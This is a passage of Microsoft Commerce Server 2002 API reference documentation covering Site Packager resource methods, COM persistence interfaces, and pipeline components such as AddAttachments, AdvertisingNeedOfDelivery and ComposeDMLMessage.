[in] A BSTR that contains the connection string.
szPath
[in] A BSTR that contains the path and name of a file for error logging.
bSilent
[in] A BOOLEAN value used to indicate whether any user interaction is allowed. A value of TRUE suppresses user interaction, allowing for unattended operation.
szGroupResourceName
[out, retval] A pointer to a BSTR to be used to return the name of the corresponding global resource.

Return Values

This method must return an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

This method must return S_OK (0x00000000) to indicate success and a COM HRESULT error value to indicate failure. For more information about the standard COM error values that can be used, see Standard COM Errors. Additional information may be made available using the global Err object, which can be accessed by the caller using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface can be called to retrieve a text description of the error, which you can supply.

Remarks

If this method is designed to allow user interaction, the user interface used to accomplish this interaction must be capable of being suppressed. The bSilent parameter is used to indicate whether such suppression should occur. If the bSilent parameter is set to TRUE the user interface must be suppressed. If the bSilent parameter is set to FALSE, it is permissible to display the user interface and seek user interaction. This aspect of the method invocation allows for unattended operation.

The connection string includes the Data Source Name (DSN), the database login ID, and the database password for the database used by this resource. Any custom database tables must be created by the implementation of this method. Since the resource may be sharing the database with other resources, unique table names should be chosen.

See Also

Site Packager Interface

IPuP::Import


IPuP::Delete

If your custom resource is a site resource, and you want to perform custom clean up of resource data, you must implement this method.

Commerce Server Manager calls this method when it is removing a site resource from a computer. This provides an opportunity for clean up that is specific to this custom resource to be performed. After this method returns, Commerce Server Manager will continue by removing references to the custom resource, and any corresponding configuration data, from the Administration database.

Definition

HRESULT Delete(
  BSTR szSiteName,
  BSTR szResourceName,
  BOOL bKeepData,
  BOOL bSilent
);

Parameters

szSiteName
[in] A BSTR that contains the name of the site.
szResourceName
[in] A BSTR that contains the name of the custom resource.
bKeepData
[in] A BOOLEAN value used to indicate whether site resource data should be deleted or not. A value of TRUE indicates that the data should be retained, and a value of FALSE indicates that the data should be deleted.
bSilent
[in] A BOOLEAN value used to indicate whether any user interaction is allowed. A value of TRUE suppresses user interaction, allowing for unattended operation.

Return Values

This method must return an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

This method must return S_OK (0x00000000) to indicate success and a COM HRESULT error value to indicate failure. For more information about the standard COM error values that can be used, see Standard COM Errors. Additional information may be made available using the global Err object, which can be accessed by the caller using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface can be called to retrieve a text description of the error, which you can supply.

Remarks

If this method is designed to allow user interaction, the user interface used to accomplish this interaction must be capable of being suppressed. The bSilent parameter is used to indicate whether such suppression should occur. If the bSilent parameter is set to TRUE the user interface must be suppressed. If the bSilent parameter is set to FALSE, it is permissible to display the user interface and seek user interaction. This aspect of the method invocation allows for unattended operation.

The system administrator should be able to indicate whether resource data should be retained or deleted through the user interface. The bKeepData parameter is set to TRUE or FALSE, in accordance with user input.

This method could be called from a custom script to clean up the data associated with a custom site resource.

See Also

Site Packager Interface

IPuP::DeleteGroupResource


IPuP::DeleteGroupResource

If your custom resource is a global resource, and you want to perform custom clean up of resource data, you must implement this method.

Commerce Server Manager calls this method when it is removing a global resource from a computer. This provides an opportunity for clean up that is specific to this custom resource to be performed. After this method returns, Commerce Server Manager will continue by removing references to the custom resource, and any corresponding configuration data, from the Administration database.

Definition

HRESULT DeleteGroupResource(
  BSTR szSiteName,
  BSTR szResourceName,
  BOOL bKeepData,
  BOOL bSilent
);

Parameters

szSiteName
[in] A BSTR that contains the name of the site.
szResourceName
[in] A BSTR that contains the name of the custom resource.
bKeepData
[in] A BOOLEAN value used to indicate whether site resource data should be deleted or not. A value of TRUE indicates that the data should be retained, and a value of FALSE indicates that the data should be deleted.
bSilent
[in] A BOOLEAN value used to indicate whether any user interaction is allowed. A value of TRUE suppresses user interaction, allowing for unattended operation.

Return Values

This method must return an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

This method must return S_OK (0x00000000) to indicate success and a COM HRESULT error value to indicate failure. For more information about the standard COM error values that can be used, see Standard COM Errors. Additional information may be made available using the global Err object, which can be accessed by the caller using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface can be called to retrieve a text description of the error, which you can supply.

Remarks

If this method is designed to allow user interaction, the user interface used to accomplish this interaction must be capable of being suppressed. The bSilent parameter is used to indicate whether such suppression should occur. If the bSilent parameter is set to TRUE the user interface must be suppressed. If the bSilent parameter is set to FALSE, it is permissible to display the user interface and seek user interaction. This aspect of the method invocation allows for unattended operation.

The system administrator should be able to indicate whether resource data should be retained or deleted through the user interface. The bKeepData parameter is set to TRUE or FALSE, in accordance with user input.

This method could be called from a custom script to clean up the data associated with a custom global resource.

See Also

Site Packager Interface

IPuP::Delete


IPuP::Export

This method is call when Site Packager creates a Commerce Server Site Package. In order for your custom resource to place one or more files of its choice into this package, you must implement this method.

Definition

HRESULT Export(
  BSTR szSiteName,
  BSTR szResourceName,
  BSTR szPath,
  BOOL bExportData,
  BOOL bSilent
);

Parameters

szSiteName
[in] A BSTR that contains the name of the site.
szResourceName
[in] A BSTR that contains the name of the custom resource.
szPath
[in] A BSTR that contains the path where the custom resource is expected to place one or more files of its choice. For more information, see the Remarks section.
bExportData
[in] Reserved for future use.
bSilent
[in] A BOOLEAN value used to indicate whether any user interaction is allowed. A value of TRUE suppresses user interaction, allowing for unattended operation.

Return Values

This method must return an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

This method must return S_OK (0x00000000) to indicate success and a COM HRESULT error value to indicate failure. For more information about the standard COM error values that can be used, see Standard COM Errors. Additional information may be made available using the global Err object, which can be accessed by the caller using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface can be called to retrieve a text description of the error, which you can supply.

Remarks

Site Packager calls this method, specifying either a file name or a folder name, based on the value of f_PupFlags column in the Resource table of the Administration database. This bit field column currently has only one bit defined for use: bit 1. If bit 1 is set to zero (0), the szPath parameter specifies a temporary file name, and if bit 1 is set to one (1), the szPath parameter specifies a temporary folder name.

If a file name is specified, this method is expected to place the data to be packaged into a single file, named as specified by the szPath parameter. After this method returns, Site Packager will add that file to the package and then delete it.

If a folder name is specified, this method is expected to place the data to be packaged into one or more files, located within the folder specified by the szPath parameter. After this method returns, Site Packager will add those files to the package and then delete them.

If this method is designed to allow user interaction, the user interface used to accomplish this interaction must be capable of being suppressed. The bSilent parameter is used to indicate whether such suppression should occur. If the bSilent parameter is set to TRUE the user interface must be suppressed. If the bSilent parameter is set to FALSE, it is permissible to display the user interface and seek user interaction. This aspect of the method invocation allows for unattended operation.

See Also

Site Packager Interface

IPuP::Import


IPuP::Import

This method is call when Site Packager unpacks a Commerce Server Site Package. In order for your custom resource to make use of one or more files from this package, you must implement this method.

Definition

HRESULT Import(
  BSTR szSiteName,
  BSTR szResourceName,
  BSTR szPath,
  BOOL bSilent
);

Parameters

szSiteName
[in] A BSTR that contains the name of the site.
szResourceName
[in] A BSTR that contains the name of the custom resource.
szPath
[in] A BSTR that contains the path where the Site Packager has deposited one or more files packaged for this resource. For more information, see the Remarks section.
bSilent
[in] A BOOLEAN value used to indicate whether any user interaction is allowed. A value of TRUE suppresses user interaction, allowing for unattended operation.

Return Values

This method must return an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

This method must return S_OK (0x00000000) to indicate success and a COM HRESULT error value to indicate failure. For more information about the standard COM error values that can be used, see Standard COM Errors. Additional information may be made available using the global Err object, which can be accessed by the caller using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface can be called to retrieve a text description of the error, which you can supply.

Remarks

Site Packager calls this method, specifying either a file name or a folder name, based on the value of f_PupFlags column in the Resource table of the Administration database. This bit field column currently has only one bit defined for use: bit 1. If bit 1 is set to zero (0), the szPath parameter specifies a temporary file name, and if bit 1 is set to one (1), the szPath parameter specifies a temporary folder name.

If a file name is specified, this method is expected to retrieve the packaged data from a single file, named as specified by the szPath parameter. Before this method returns, the data must be retrieved from that file, or the file moved to some other location known only to the custom resource. After this method returns, Site Packager will delete the temporary file.

If a folder name is specified, this method is expected to retrieve the packaged data from one or more files, located within the folder specified by the szPath parameter. Before this method returns, the data must be retrieved from these files, or the files moved to some other location known only to the custom resource. After this method returns, Site Packager will delete the temporary files.

If this method is designed to allow user interaction, the user interface used to accomplish this interaction must be capable of being suppressed. The bSilent parameter is used to indicate whether such suppression should occur. If the bSilent parameter is set to TRUE the user interface must be suppressed. If the bSilent parameter is set to FALSE, it is permissible to display the user interface and seek user interaction. This aspect of the method invocation allows for unattended operation.

See Also

Site Packager Interface

IPuP::Export

IPuP::CreateGroupResource


Generic Persistence Interfaces

Microsoft Commerce Server 2002 defines a set of generic Component Object Model (COM) interfaces related to object persistence.

The following table lists the generic interfaces.

Interface | Description
IPersistXML | Saves data to an XML-formatted string, and loads data from an XML-formatted string.
IPersistDictionary | Saves data to a Dictionary object, and loads data from a Dictionary object.
IPersistStreamInit | Saves data to a stream, and loads data from a stream. This is the form of persistence used in the ATL Pipeline Wizard.


IPersistXML Interface

The IPersistXML interface is implemented by an object that needs to read or write its data as XML-formatted text. For example, in the context of the Order Processing pipeline (OPP), it is used to map the contents of a business data object to its Extensible Markup Language (XML) equivalent.

The Dictionary object also implements this interface, allowing the entries in a Dictionary object to be converted into an XML-formatted string, and back again.

The IPersistXML interface supports the following methods:

Method | Description
LoadXML | Loads data from a string that contains the data in its XML representation.
SaveXML | Saves data in its XML representation, writing the result to a string.

Remarks

Header: commerce.h

IDL File: commerce.idl


IPersistXML::LoadXML Method

This method should load XML-formatted data from a BSTR.

Definition

HRESULT LoadXML(
  long Reserved,
  BSTR bstrXML
);

Parameters

Reserved
[in] Reserved for future use.
bstrXML
[in] A BSTR that contains object data in the XML representation expected by the object.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

See Also

IPersistXML Interface

IPersistXML::SaveXML


IPersistXML::SaveXML Method

This method should save data in an XML-formatted BSTR.

Definition

HRESULT SaveXML(
  long Reserved,
  BSTR* bstrXML
);

Parameters

Reserved
[in] Reserved for future use.
bstrXML
[out, retval] The address of a BSTR used to return object data in its XML representation.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

See Also

IPersistXML Interface

IPersistXML::LoadXML


IPersistDictionary Interface

The IPersistDictionary interface is implemented by an object that needs to read or write its data as a Dictionary object.

The IPersistDictionary interface supports the following methods:

Method | Description
GetProgID | Returns the ProgID of the object.
InitNew | Allows the object to initialize values before saved values are loaded.
IsDirty | Indicates whether the values to be saved have changed since the last save.
Load | Loads saved data from a Dictionary object.
Save | Saves data to a Dictionary object.

Remarks

Header: commerce.h

IDL File: commerce.idl


IPersistDictionary::GetProgID Method

This method should return the ProgID of the object.

Definition

HRESULT GetProgID(
  BSTR* pbstrProgID
);

Parameters

pbstrProgID
[out, retval] The address of a BSTR used to return the ProgID of the object.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

See Also

IPersistDictionary Interface


IPersistDictionary::InitNew

This method provides an opportunity for an object to initialize its state before any persisted values are loaded. You can initialize the IsDirty flag of the component within this method.

Definition

HRESULT InitNew(void);

Parameters

None.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

See Also

IPersistDictionary Interface


IPersistDictionary::IsDirty Method

This method should report whether the values of an object have changed since they were last saved. It returns the value of the IsDirty flag of the object. The flag should be cleared by the object in its implementation of the IPersistDictionary::Save method.

Definition

HRESULT IsDirty(
  long* pfDirty
);

Parameters

pfDirty
[out, retval] A pointer to a long used to return the value of the IsDirty flag.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

See Also

IPersistDictionary Interface


IPersistDictionary::Load Method

This method should load data from a Dictionary object.

Definition

HRESULT Load(
  IDispatch* pdispDict
);

Parameters

pdispDict
[in] A pointer to the IDictionary interface of the Dictionary object from which the data should be loaded.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

Remarks

The object typically uses the get_Value method on the IDictionary interface to retrieve VARIANT values. For more information about the IDictionary interface, see Dictionary Object.

See Also

IPersistDictionary Interface

IPersistDictionary::Save


IPersistDictionary::Save Method

This method should save data to a Dictionary object.

Definition

HRESULT Save(
  IDispatch* pdispDict,
  long fSameAsLoad
);

Parameters

pdispDict
[in] A pointer to the IDictionary interface of the Dictionary object in which the data should be saved.
fSameAsLoad
[in] A long that is set to TRUE if the Dictionary object pointed to by the pdispDict parameter is the same as the one from which the persisted values of the component were loaded.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

Remarks

The object typically uses the put_Value method on the IDictionary interface to save VARIANT values. For more information about the IDictionary interface, see Dictionary Object.

See Also

IPersistDictionary Interface

IPersistDictionary::Load


IPersistStreamInit Interface

The IPersistStreamInit interface is a standard Win32 OLE interface. This interface is typically implemented on any object that needs to support initialized stream-based persistence, regardless of whatever else the object does.

In the context of the Order Processing pipeline (OPP), it is used to load or save the component configuration in the pipeline configuration file (the pipeline calls this interface as appropriate). For more information about the IPersistStreamInit interface, see the OLE Programmer's Reference. Variables of type CComVariant can save and read their values from a stream and can be used to hold the values of a component that need to be saved.

The IPersistStreamInit interface supports the following methods:

Method | Description
GetClassID | Returns the class identifier (CLSID) of the object.
GetSizeMax | Returns the size needed to save the persisted values.
InitNew | Allows the object to initialize values before saved values are loaded.
IsDirty | Indicates whether the data to be saved has changed since the last save.
Load | Loads data from a stream.
Save | Saves data to a stream.

Header: ocidl.h

IDL File: ocidl.idl


IPersistStreamInit::GetClassID Method

This method should return the class identifier (CLSID) of the object.

Definition

HRESULT GetClassID(
  CLSID* pClassID
);

Parameters

pClassID
[out] The address of a CLSID variable used to return the class identifier of the object.

Returns

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

Remarks

The GetClassID method is a method of the IPersist interface from which the IPersistStreamInit interface inherits.

See Also

IPersistStreamInit Interface


IPersistStreamInit::GetSizeMax Method

This method should return the maximum size, in bytes, required in the stream to save the data to be persisted.

Definition

HRESULT GetSizeMax(
  ULARGE_INTEGER* pCbSize
);

Parameters

pCbSize
[out] The address of a ULARGE_INTEGER used to return the number of bytes the object needs in the stream to save values.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

See Also

IPersistStreamInit Interface


IPersistStreamInit::InitNew Method

This method provides an opportunity for the object to initialize its state before any persisted values are loaded. You should initialize the IsDirty flag of the object within this method.

Definition

HRESULT InitNew(void);

Parameters

None.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

See Also

IPersistStreamInit Interface


IPersistStreamInit::IsDirty Method

This method should report whether the values of an object have changed since they were last saved. It returns the value of the IsDirty flag of the object. The flag should be cleared by the object in its implementation of the IPersistStreamInit::Save method.

Definition

HRESULT IsDirty(void);

Parameters

None.

Return Values

This method must return the HRESULT value S_OK to indicate that the data has changed, and must return a value of S_FALSE to indicate that the data has not changed since the last Save operation.

See Also

IPersistStreamInit Interface


IPersistStreamInit::Load Method

This method should load object data from the specified stream.

Definition

HRESULT Load(
  LPSTREAM pStm
);

Parameters

pStm
[in] A pointer to the stream from which to load the object data.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

Remarks

The seek pointer is set as it was in the most recent IPersistStreamInit::Save method. This method can seek and read from the stream, but cannot write to it.

On exit, the seek pointer must be in the same position it was in on entry, immediately past the end of the data.

See Also

IPersistStreamInit Interface

IPersistStreamInit::Save


IPersistStreamInit::Save Method

This method should save object data to the specified stream.

Definition

HRESULT Save(
  LPSTREAM pStm,
  BOOL fClearDirty
);

Parameters

pStm
[in] A pointer to a stream in which to save the object data.
fClearDirty
[in] A BOOL value indicating whether or not to clear the IsDirty flag. If TRUE, the flag should be cleared. If FALSE, the flag should be left unchanged.

Return Values

This method must return the HRESULT value S_OK to indicate success, and should generally return one of the standard COM error values to indicate failure.

Remarks

The seek pointer is positioned at the location in the stream at which the object should begin writing its data. The object calls the IStream::Write method to write its data.

On exit, the seek pointer must be positioned immediately past the object data. The position of the seek pointer is undefined if an error returns.

See Also

IPersistStreamInit Interface

IPersistStreamInit::Load


Pipeline Component Reference

This section contains the reference material for the following pipeline components supplied with Commerce Server.

Pipeline Component Name | Description
AddAttachments | Adds attachments to a direct mail message.
AdvertisingNeedOfDelivery | Ensures advertisements are selected often enough to meet business commitments.
ComposeDMLMessage | Creates the body of a direct mail message.
CreateUPMCookie | Collects cookie data to pass to an Active Server Pages (ASP) page creating a personalized direct mail message.
CSFLoadAdvertisements | Loads advertising data for the Content Selection Framework through the CacheManager object.
CSFLoadDiscounts | Loads discount data for the Content Selection Framework through the CacheManager object.
CSFWriteEvents | Used with the CacheManager object to log Content Selection Framework events.
DBOrderPromoADO | Retrieves data about price promotions from the database and adjusts item prices accordingly.
DefaultHandlingCy, DefaultHandling | Used as placeholder handling components. They initialize the total handling for the order to zero (0).
DefaultItemPriceCy, DefaultItemPrice | Set the regular price of an item to the list price returned by pipeline components such as QueryCatalogInfo or QueryProdInfoADO.
DefaultOrderSubTotalCy, DefaultOrderSubTotal | Calculates the subtotal for the order.
DefaultPayment | Assigns a default value to the payment authorization code. This component is usually replaced by a third-party payment component.
DefaultShippingCy, DefaultShipping | Placeholder shipping components. They set the shipping cost to zero (0).
DefaultShopperInfo | Moves information from the Shopper dictionary in the Context dictionary of the pipeline to the OrderForm object.
DefaultTaxCy, DefaultTax | Set the tax fields of the order to zero (0). These components are usually replaced by third-party tax components.
DefaultTotalCy, DefaultTotal | Calculates the order total from the subtotals.
EvalTargetGroups | Used to target particular groups for advertising, content selection, and discounts. This component evaluates a list of expressions for each item in a list and adjusts item selection scores.
ExecuteProcess | Runs an external executable file.
FilterContent | Applies provided filters to a content list in a Content Selection pipeline (CSP).
FixedHandling | Adds a fixed handling charge to the order.
FixedShipping | Applies a fixed shipping charge to the order.
FlagInventory | Determines whether any items on the order form are out of stock.
FormatTemplate | Merges data from selected items and their associated templates to form formatted strings. These are usually Hypertext Markup Language (HTML) strings ready for display on the page.
HistoryPenalty | Applies penalties to content items based on how recently they have been selected.
IISAppendToLog | Records information about content selection results in the QueryString field of the Internet Information Services (IIS) log file.
InitCSFPipeline | Used at the beginning of a Content Selection pipeline (CSP) to initialize the values needed in the rest of the pipeline.
ItemPromo | Applies a promotional price adjustment to an item on the order form.
LinearHandling | Sets the handling total on the order by multiplying a field on the order form by a fixed rate.
LinearShipping | Calculates the shipping total on the order form using a fixed rate.
LoadHistory | Retrieves a history string from a user profile, an item in the ASP session collection, or a cookie.
LocalInventory | Sets the number of items backordered on the order form.
MakePO | Produces a formatted purchase order (PO) text string by merging information from the order form with a purchase order template.
MoneyConverter | Converts OrderForm keys and values from integers to the new currency type, or from the new currency type to integer.
OrderDiscount | Applies discounts scheduled in the Campaign Manager module in Commerce Server Business Desk to the shopping basket.
POtoFile | Sends a purchase order or other textual data to a file.
QueryCatalogInfo | Retrieves catalog information for every item in the order form.
QueryProdInfoADO | Retrieves product information from a database.
RecordEvent | Records event delta counts for the selected content items (the winners) in the Performance dictionary.
RecordHistory | Records the identifiers of the winning content items in the history list string.
RequiredHandlingCy, RequiredHandling | Verifies that the handling total is present in the order.
RequiredItemAdjustCy, RequiredItemAdjust | Provided for backwards compatibility only, This component has been replaced by the DefaultItemPriceCy and the RequiredItemAdjustPriceCy components.
RequiredItemAdjustPriceCy, RequiredItemAdjustPrice | Ensures that the current price for each item in the order is set and that it has not been changed since the last time the basket was viewed.
RequiredItemPriceCy, RequiredItemPrice | Verifies that each item in the order form has a regular price assigned to it. Regular prices are assigned by the DefaultItemPrice pipeline component and similar components.
RequiredOrderAdjustPriceCy, RequiredOrderAdjustPrice | Adjusts the total cost of each item in the order after applying any discounts.
RequiredOrderCheck | Verifies that the order form contains at least one item.
RequiredOrderInitCy, RequiredOrderInit | Initializes the payment authorization code, order ID, totals, and subtotals in the order form.
RequiredOrderSubtotalCy, RequiredOrderSubtotal | Ensures that a subtotal exists on the order form.
RequiredPayment | Verifies that the payment authorization code exists in the order form (is not NULL).
RequiredProdInfo | Deletes items flagged for deletion by a previous Product Info stage component.
RequiredShippingCy, RequiredShipping | Verifies that the shipping total has been set.
RequiredTaxCy, RequiredTax | Verifies that the total tax and tax included appear in the order form.
RequiredTotalCy, RequiredTotal | Verifies that values on a page have not been tampered with or reset. The components compare values in the order against values in the _Verify_With dictionary.
SaleAdjust | Applies a sale price to an item. This pipeline component is used for backward compatibility only. This pipeline component has been replaced by the OrderDiscount component.
SampleRegionalTax | Use this component for calculating taxes using the multiple shipment features of Commerce Server 2002.
SaveHistory | Records the history string in one of three locations: the User Profile object, the Active Server Pages (ASP) session collection, or the Hypertext Transfer Protocol (HTTP) cookie.
SaveReceipt | Saves the order in a database table.
ScoreDiscounts | Adjusts scores of discount items to promote discounts most relevant to the current user.
Scriptor | Executes a script in a Microsoft ActiveX scripting language.
SelectWinners | Selects items based on their final scores in the Content Selection pipeline.
SendPrecomposedMessage | Sends a direct mail message composed in earlier stages in the pipeline.
SendSMTP | Sends an e-mail message to a specified recipient.
ShippingDiscountAdjust | Applies shipping discounts to the order.
ShippingManagerCache | Loads shipping data for the multiple shipments shipping architecture through the CacheManager object.
ShippingMethodRouter | The ShippingMethodRouter pipeline component looks up and runs the pipeline components that calculate shipping costs for individual shipments, and then calculates the shipping total for the entire order.
SimpleCanadaTax | Calculates the Canadian Goods and Services Tax (GST) and Provincial Sales Tax (PST).
SimpleJapanTax | Computes taxes according to the Japanese tax model.
SimpleUSTax | Applies taxes on any order sent to a specified state in the United States.
SimpleVATTax | Calculates a value-added tax (VAT).
Splitter | Divides the order into groups based on a list of item keys. Frequently used to divide the order into multiple shipments.
SQLItemADO | Runs a query for each item in the order form.
SQLOrderADO | Runs a single SQL query on the order, passing order parameters to the query.
StepwiseShipping | Calculates shipping costs for shipments in the multiple-shipment shipping architecture. This component is never directly used in a pipeline; it is run by the ShippingMethodRouter pipeline component.
TableHandlingADO | Sets the handling total on the order based on values retrieved from the database.
TableShippingADO | Sets the total shipping on the order by using values retrieved from the database.
ThrottleDMLPerformance | Controls the speed with which direct mail messages are processed by the pipeline.
ValidateCCNumber | Checks the expiration date of a credit card and performs a checksum test on the number.
VerifyMessageBody | Checks the body of a direct mail message according to the user flags.
VerifyRecipientData | Checks the data about the recipient of a direct mail message.


AddAttachments

Use this component to add attachments to a direct mail message.

Although the component appears as AddAttachments in the Pipeline Editor, its ProgID is Commerce.DMLAddAttachments.

Intended use: Direct Mailer pipeline, Compose E-mail stage.

Configuration Values

None.

Values Read

The AddAttachments component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
rcp_bypass | Order | Boolean. The component bypasses (skips) processing if True.
cdo_result | Order | The result code (an HRESULT) from the most recent Collaboration Data Objects (CDO) operation.
attachments | Order | A SimpleList of Uniform Resource Locators (URL) pointing to attachments.
cdo_message | Context | A reference to the CDO message object (CDO.Message).

Values Written

The AddAttachments component writes the following values to the Order dictionary.

Key | Description
cdo_result | The result code (an HRESULT) from the most recent CDO operation.
cdo_error | Optional. An error string from the most recent CDO operation, if any. NULL if there is no error.

Remarks

The AddAttachments component uses the CDO for Microsoft Windows 2000 to add the attachments to the message.

The component skips processing if the bypass flag (rcp_bypass) is True or if the last CDO operation did not succeed (cdo_result not equal to S_OK).

The message body should already exist before this component runs.

See Also

ComposeDMLMessage

CreateUPMCookie

SendPrecomposedMessage

ThrottleDMLPerformance

VerifyMessageBody

VerifyRecipientData


AdvertisingNeedOfDelivery

Use this component to ensure advertisements are selected often enough to meet business commitments.

Although this component appears as AdvertisingNeedOfDelivery in the Pipeline Editor, its ProgID is Commerce.CSFAdvertisingNeedofDelivery.

Intended use: Content Selection pipeline, Initial Score stage.

Configuration Values

None.

Values Read

The AdvertisingNeedOfDelivery component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_content | Order | A reference to the ContentList object containing the content items.
_performance | Order | A reference to the Performance dictionary retrieved from the cache by the InitCSFPipeline component.
_cache._LastNODRecalc | Context | The _LastNODRecalc key value is read from the _cache key, a reference to the current dictionary containing advertising information. The _LastNODRecalc value is the time that the AdvertisingNeedOfDelivery component last recomputed the need of delivery for all ads in the ContentList object.
Trace | Context | Optional. A Boolean indicating whether score adjustment tracing is enabled. This component will not produce trace strings unless this flag is set to True.

The AdvertisingNeedOfDelivery component reads the following values for each item in the ContentList object referred to by the _content key.

Key | Description
need_of_delivery | The need of delivery for the item — the initial score of the item.
invalid_nod | A Boolean flag. If True, the need of delivery will be recalculated for the item.
ad_type The type of the ad. Valid types are:
  • 1 for paid ads
  • 2 for house ads
ad_weight | The current weight assigned to the ad. Used for house ads or paid ads in a campaign-level goaled campaign. Specified in the Campaign Manager module in Commerce Server Business Desk.
event_name | The name of the event.
events_scheduled | The total number of events scheduled for the item.
events_served | The total number of events served to date.
prev_events_served | The number of events served before the effective date.
eff_date_start | The effective item start date.
date_end | The item end date.
time_of_day_start | The time of day the event starts.
time_of_day_end | The time of day the event ends.
days_of_week | The days of the week bit flags.

Values Written

The AdvertisingNeedOfDelivery component writes the following values to the indicated dictionaries.

Key | Dictionary | Description
_content Order Specifically, the component writes to the following fields of the content items:
need_of_delivery
The calculated need of delivery for the ad.

invalid_nod

Reset to False because the need of delivery has been calculated.

score

The score for the item. Initialized to the need of delivery for the item or, for house ads, the ad_weight key.
_cache._LastNODRecalc | Context | The time that the AdvertisingNeedOfDelivery component last recomputed the need of delivery for all ads in the ContentList object.

Remarks

This component calculates the Need of Delivery (NOD) for ad items in the ContentList object and assigns these as the initial scores for the items. The NOD for each item is recalculated periodically or when the invalid_nod flag for that item is True. For more information about columns in the ContentList object, see CSFLoadAdvertisements.

The AdvertisingNeedOfDelivery component uses the SetScore method of the ContentList object for setting the initial scores.

The NOD value for paid advertisements is not calculated in this component. Rather, for efficiency, it is calculated in the LoadAdvertisements cache loader component, and in the RecordEvent pipeline component. For paid ads, this component copies the value in the need_of_delivery field into the score field.

The NOD for house ads is set to be equal to the weight of the house ad. The decision as to whether or not to serve house ads is made by the SelectWinners pipeline component. House ads compete only against other house ads. The run percentage for a house ad is equal to the weight of the ad divided by the sum of the weights for all house ads.

This scoring strategy is different than that used in the Site Server 3.0 Commerce Edition AdServer component. In the Site Server 3.0 Commerce Edition AdServer component each house ad was scored and selected just like paid ads, only starting at a fixed need of delivery score of 0.95.

Commerce Server 2002 uses a NOD formula for paid ads. It is designed to give each ad a fair chance of selection when the entire ad schedule is lagging. Under this formula, all ads appear at rates proportional to their goals.

The formula is:

NOD = ( Events Scheduled / Time Total ) / ( Events Served / Time Elapsed )

With the formula used, an ad meeting its delivery goals will have a NOD equal to 1.0. An ad that is lagging will have an NOD greater than 1.0. The farther behind an ad is in its delivery goal, the greater the NOD. Ads that have exceeded their delivery goals have an NOD of less than 1.0.

See Also

SelectWinners


ComposeDMLMessage

Use this component to create the body of a direct mail message.

Although the component appears as ComposeDMLMessage in the Pipeline Editor, its ProgID is Commerce.DMLComposeMessage.

Intended use: DirectMailer pipeline, Compose E-mail stage.

Configuration Values

None.

Values Read

The ComposeDMLMessage component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
rcp_bypass | Order | Boolean. The component bypasses (skips) processing if True.
use_precomposed_body | Order | Boolean. If True, the component creates the message from the plain-text body assigned to the precomposed_body key.
precomposed_body | Order | Optional. The plain-text message body. This key defaults to an empty string.
rcp_url | Order | Optional. The URL used to retrieve the mailing content. This takes precedence over default_url key.
rcp_url_isfile | Order | Optional. This is True if the URL for the content (rcp_url) is a file and not an http:// address.
rcp_url_content | Order | Optional. The content of the file pointed to by the rcp_url key if the rcp_url_isfile key is True.
from_field | Order | The "From" field for the message.
replyto_field | Order | The "Reply-to" field for the message.
rcp_email | Order | The e-mail address of the recipient.
subj_field | Order | The "Subject" field for the message.
rcp_formatting Order Determines the format of the message. The values are:

0 — Default formatting

1 — Plain text

2 — MIME

3 — MHTML

This key overrides the default formatting.
rcp_personalize Order Indicate whether or not to personalize the message for this recipient. The values are:

0 — Do not personalize

1 — Personalize

This key defaults to 1 (personalize).
rcp_locale | Order | The locale code to use for the recipient.
default_locale | Order | Optional. The locale code to use if there is no recipient locale code (rcp_locale).
cookie | Order | The dictionary containing the cookie data.
cdo_message | Context | A reference to the Collaboration Data Objects (CDO) message object (CDO.Message).
cdo_config | Context | A reference to the CDO configuration object (CDO.Configuration).
default_url | Context | Optional. The URL used to retrieve the mailing content.
default_url_isfile | Context | Optional. This is True if the default URL is a file path and not an http:// path.
default_url_content | Context | Optional. The content of the file pointed to by the default_url key if the default_url_isfile key is True.
default_formatting Context Optional. The default format for the message. The values are:

0 — Default formatting

1 — Plain text

2 — MIME

3 — MHTML
cdo_CreateMHTMLBodyFlags Context Optional. Responsible for controlling whether objects in the email message are embedded or not. If this key is not set, objects in the email are embedded. If the key is set to the appropriate value (31), the direct mail message body contains the output of the target web page as is.

For example, if MailFormat is set to 3 (MHTML), and the CreateMHTMLBodyFlags is set to 31, the mail message body snippets is:

<img src=www.microsoft.com/banner.jpg height=100 width=100>

If MailFormat is set to 3 (MHTML), and the CreateMHTMLBodyFlags is not set, the mail message body snippets is:

<img src=cid:000101c1c44f$1bf3a256$_CDOSYS2.0 height=100 width=100 />

To set this key, you typically add a scriptor component preceding the ComposeDMLMessage pipeline component to the current stage with the following code:

function MSCSExecute(config, orderform, context, flags)
context("cdo_CreateMHTMLBodyFlags") = 31
MSCSExecute = 1
end function
sub MSCSOpen(config)
end sub
sub MSCSClose()
end sub

For more information about the CreateMHTMLBody method and the CdoMHTMLFlags enumeration, see the Platform SDK in the MSDN Online Library at http://go.microsoft.com/fwlink/?LinkId=5161.

Values Written
